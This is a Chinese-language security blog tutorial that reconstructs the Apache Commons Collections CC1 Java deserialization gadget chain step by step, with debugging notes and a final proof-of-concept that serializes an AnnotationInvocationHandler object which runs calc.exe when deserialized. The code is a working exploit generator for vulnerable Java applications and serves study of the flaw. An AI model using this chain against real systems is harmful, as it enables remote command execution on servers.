逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造

2025-03-04 1 0

前言

Apache Commons Collections 是一个开源的 Java 工具类库,属于 Apache Commons 项目的一部分。它提供了许多扩展和增强标准 Java 集合框架的功能,帮助开发者更高效地处理集合操作。

环境准备

  • CommonsCollections <= 3.2.1

  • jdk1.8.0_65(JDK版本必须在1.8.0_71以下)

附带CC的jar文件和源代码的下载地址

https://commons.apache.org/proper/commons-collections/

记得在pom.xml里添加依赖

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

CC1链调用过程

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map().setValue()
TransformedMap.decorate()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

CC链的调用梳理

在org/apache/commons/collections/functors存在InvokerTransformer类,该类的定义如下:

public class InvokerTransformer implements Transformer, Serializable {

/** The serial version */
private static final long serialVersionUID = -8653385846894047688L;

/** The method name to call */
private final String iMethodName;
/** The array of reflection parameter types */
private final Class[] iParamTypes;
/** The array of reflection arguments */
private final Object[] iArgs;

可见该类实现了Serializable所以可被反序列化和反序列化。在此类中存在Tranformer方法,cc1链梦开始的地方。

对Tranformer方法进行审计,我们发现,Tranformer方法通过反射机制动态调用传入对象的指定方法(方法名和参数类型由类属性指定),并返回方法的执行结果;如果传入对象为null,则直接返回null

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图

那么如果我们直接传入Runtime对象,并将InvokerTransformer类的类属性设置为执行命令的参数,不就可以达到命令执行的效果了嘛。

于是我们开始验证

public void test1() throws Exception{
Runtime runtime = Runtime.getRuntime();
String methodName = "exec";
Class[] paramTypes = new Class[] {String.class};
Object[] args = new Object[] {"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args);
invokerTransformer.transform(runtime);
}

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图1

代码执行的结果表明,InvokerTransfomer类的transform方法完全可以作为漏洞执行的终点。

下一步我们就要查找哪里调用了InvokerTransfomer类的transform方法。

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图2

说实话真的好多,最后在TransformedMap类里边的checkSetValue()通过valueTransformer调用了transform。

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图3

而valueTransformer来源于TransformedMap类的构造方法,因此我们就可以控制调用类,执行其transform方法。

但是有一个问题,TransformedMap类的构造方法修饰符为protected。

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图4

说明外部无法调用,那么只能通过内部调用。于是我们在本类内部找到了两处调用构造方法的方法。

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图5

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图6

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图7

我们优先使用TransformedMap#decorate(因为比较简单)

通过TransformedMap#decorate实例化TransformedMap对象

public void test2(){
Runtime runtime = Runtime.getRuntime();
String methodName = "exec";
Class[] paramTypes = new Class[] {String.class};
Object[] args = new Object[] {"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args);
Map map = new HashMap();
map.put("key", "value");
Transformer keyTransformer = null;
Transformer valueTransformer = invokerTransformer;
Map<Object, Object> transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);

}

调用checkSetvalue方法

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图8

这里显示报错,原因是TransformedMap#decorate返回map对象,所以transformedMap是由Map声明,所以不能直接调用checkSetvalue。只能再找哪里调用了checkSetValue。

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图9

可以看到AbstractInputCheckedMapDecorator类下边的静态内部类MapEntry中的setValue调用了checkSetValue。注意静态类不必实例化,可以直接由当前类调用的类。另外AbstractMapDecorator 是一个抽象类,为装饰一个 Map 提供了基类,AbstractInputCheckedMapDecorator 继承自它,而 TransformedMap 又继承自 AbstractInputCheckedMapDecorator。

所以,此时可以构造以下代码,实现调用。说明这一段链条成立

public void test2(){
Runtime runtime = Runtime.getRuntime();
String methodName = "exec";
Class[] paramTypes = new Class[] {String.class};
Object[] args = new Object[] {"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args);
Map map = new HashMap();
map.put("key", "value");
Transformer keyTransformer = null;
Transformer valueTransformer = invokerTransformer;
Map<Object, Object> transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
for (Map.Entry entry: transformedMap.entrySet()) {
entry.setValue(runtime);   // 此处调用setValue时会触发整个链条,打开计算器
}

}

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图10

注意:entrySet()的源头来自父类AbstractMapDecorator的默认实现。

接下来寻找谁在调用AbstractMapDecorator类下的静态类的setValue(),最后在JDK内置的对象sun.reflect.annotation.AnnotationInvocationHandler中重写的readObject方法发现在调用setValue方法

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图11

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图12

而且AnnotationInvocationHandler类继承了Serializeble接口。

如果这条调用链成立,那么我们直接将AnnotationInvocationHandler的序列化即可完成操作,并且通过readObject在反序列化就可以实现链条的调用。

接下来我们进行尝试:

发现AnnotationInvocationHandler访问修饰符为default,在外部无法直接被实例化,所以只能尝试使用反射进行实例化操作。而且

我们来看下AnnotationInvocationHandler的构造方法

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图13构造函数参数要接受两个参数值,一个注解类型,一个map,另外,我们注意到调用点memberValue来源于AnnotationInvocationHandler的类属性memberValues。

于是写出以下序列化代码:

public void test3() throws Exception {
Runtime runtime = Runtime.getRuntime();
String methodName = "exec";
Class[] paramTypes = new Class[] {String.class};
Object[] args = new Object[] {"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args);
Map map = new HashMap();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, transformedMap);
FileOutputStream ser = new FileOutputStream("./cc1.ser");
ObjectOutputStream result = new ObjectOutputStream(ser);
result.writeObject(obj);
System.out.println("ser ok");
}

接着我们进行反序列化操作,发现并不能弹出计算机。

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图14

我们动调来确定是什么原因引起的:

发现代码无法执行到setValue方法处。

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图15

memberType 来源于通过调用 AnnotationType.getInstance(type) 获取的 AnnotationType 对象中的 memberTypes() 映射,包含将注解成员名称。(注解学习链接:https://www.cnblogs.com/wobushitiegan/p/12460575.html

而Override 注解没有任何成员方法,所以通过 AnnotationType.getInstance(Override.class) 得到的 memberTypes 映射为空。

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图16

因此,我们需要找到有成员方法的注解。就比如Target注解

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图17

然后我们继续调试,很遗憾,依旧不行

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图18

但是我们注意到memberTypes为hashmap,hashmap的键名为value,值为那一串。所以name的值应该为value(此时为key)。

而name是通过调用 memberValue.getKey() 获得的, memberValue 来自于对 memberValues.entrySet() 的遍历。所以我们仅需要修改在我们前面构造的map,将键名改为value,值随意。

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图19

于是代码修改如下

public void test3() throws Exception {
Runtime runtime = Runtime.getRuntime();
String methodName = "exec";
Class[] paramTypes = new Class[] {String.class};
Object[] args = new Object[] {"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args);
Map map = new HashMap();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
FileOutputStream ser = new FileOutputStream("./cc1.ser");
ObjectOutputStream result = new ObjectOutputStream(ser);
result.writeObject(obj);
System.out.println("ser ok");
}

我们继续动调

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图20

已经成功进入。但是仍旧没弹计算器,甚至还会抛异常。究其原因,是执行过程中,到达漏洞触发点发现并没有将Runtime对象传进来

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图21

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图22

我们对此进行分析,是因为在AnnotationInvocationHandler的452行,出现了 new AnnotationTypeMismatchExceptionProxy 代码,写死了传入的类。

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图23

那么如何解决呢,核心思路就是替换AnnotationTypeMismatchExceptionProxy类实例为Runtime对象。这里不得不佩服构造出cc1链的人,找到了ConstantTransformer

这个类的transform很有意思

public ConstantTransformer(Object constantToReturn) {//构造方法
super();
iConstant = constantToReturn;
}


public Object transform(Object input) {
return iConstant;
}

无论传入什么类型,都只返回iConstant,而iConstant是ConstantTransformer类的属性。只要我们将类属性设置为Runtime,不就可以完成cc1链的调用了么。

但是最后还有一个问题,在未进行序列化之前的构造链的Runtime对象是我们自己new出来的,但是我们查看Runtime类,发现并没有实现Serializable,所以不可被反序列化和反序列化。

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图24

但是类的原型class是可以被序列化的,因此我们需要通过Class入手,构造出来Runtime对象,也就是通过反射。

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图25

代码如下:

public void run_test() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
//       Runtime r=Runtime.getRuntime();
Class<?> c = Runtime.class;

// 获取 getRuntime() 方法
Method getRuntimeMethod = c.getMethod("getRuntime");

// 调用 getRuntime() 方法,获取 Runtime 实例
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null);

// 获取 exec(String) 方法
Method execMethod = c.getDeclaredMethod("exec", String.class);

// 调用 exec("calc") 方法
execMethod.invoke(runtime, "calc");


}

可以执行

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图26

然后我们将其改成通过InvokerTransformer反射调用。

public void Invok_run_test(){
// 通过InvokerTransformer反射调用Runtime.class中的"getMethod"方法,
// 获取到代表Runtime.getRuntime()方法的Method对象
Method getRuntimeMethod = (Method) new InvokerTransformer(
"getMethod",                       // 要调用的方法名称
new Class[]{String.class, Class[].class}, // 参数类型数组:方法名和参数类型数组
new Object[]{"getRuntime", new Class[]{}} // 参数值:方法名称"getRuntime"和空的参数类型数组
).transform(Runtime.class);             // 在Runtime的Class对象上执行transform

// 使用InvokerTransformer反射调用刚才获取的getRuntimeMethod的"invoke"方法,
// 从而调用getRuntime()方法获得Runtime实例
Runtime runtime = (Runtime) new InvokerTransformer(
"invoke",                           // 要调用的方法名称
new Class[]{Object.class, Object[].class}, // 参数类型数组:目标对象和参数数组
new Object[]{null, new Object[]{}}         // 参数值:静态方法调用时目标对象为null,且无参数
).transform(getRuntimeMethod);

// 使用InvokerTransformer反射调用Runtime实例中的"exec"方法,
// 执行"calc"命令,启动计算器程序(适用于Windows系统)
new InvokerTransformer(
"exec",                             // 要调用的方法名称,即exec方法
new Class[]{String.class},         // 参数类型数组,表示exec方法的参数类型为String
new Object[]{"calc"}               // 参数值数组,这里传入"calc"命令
).transform(runtime);                   // 在runtime实例上执行transform
}

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图27

该代码中分别创建了三个 InvokerTransformer 对象来依次调用,无法将多个操作连贯地组合成一个整体。

我们观察以上代码像不像链式调用,也就是上一步的输出作为下一步的输入。而且在实际利用过程中,我们需要一个延迟执行且能够序列化传输的 gadget 链,这时也就引入了另外一个类ChainedTransformer,该类也存在transform方法,代码及说明如下:

public Object transform(Object object) {
// 遍历每个转换器
for (int i = 0; i < iTransformers.length; i++) {
// 将当前对象传递给转换器,并将结果赋值回对象
object = iTransformers[i].transform(object);
}
// 返回最终转换结果
return object;
}
||
A=B.transform(c)//第一轮
D=E.transform(A)//第二轮

按照以上代码的思路,假如如果我们给iTransformer赋值为ConstantTransformer就会调用ConstantTransformer的transform,如果给iTransformer赋值为InvokerTransformer就会调用InvokerTransformer的transform,那么通过将 ConstantTransformer 和 InvokerTransformer 组合到 ChainedTransformer 中,可以构建一个转换链,实现复杂的对象转换或方法调用。例如,首先使用 ConstantTransformer 返回 Runtime.class,然后通过一系列 InvokerTransformer 调用 getMethod、invoke 和 exec 方法,最终执行系统命令。

于是生成了我们最终的序列化调用链:

public void result_poc() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
// 链式调用,逐步赋值
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "aaaaa");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
FileOutputStream fos = new FileOutputStream("./apachecc1_result.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}

我们动调,看下具体的反序列化过程:

在TransformedMap类中valueTransformer值为ChainedTransformer,所以下一步去调用ChainedTransformer#transforme

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图28

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图29

第一轮,是AnnotationTypeMismatchExceptionProxy类

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图30

调用ConstantTransformer#transformer,传入的是AnnotationTypeMismatchExceptionProxy,返回的是Runtime

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图31

获取Runtime的getRuntime方法

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图32

最后获取实例,弹出计算器

逆向Java反序列化:从漏洞挖掘者的视角拆解CC1链的发现与构造插图33

CC1链构造完毕。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

Syscall的检测与绕过
超3.5万个网站遭入侵:恶意脚本将用户重定向至赌博平台
2025年新兴勒索软件组织的崛起与影响
Bubba AI推出开源合规平台 Comp AI,助力10万家初创企业实现安全合规
美国CCPA权威指南
数据挖掘-利用多个机器学习模型实现泰坦尼克号生存预测

发布评论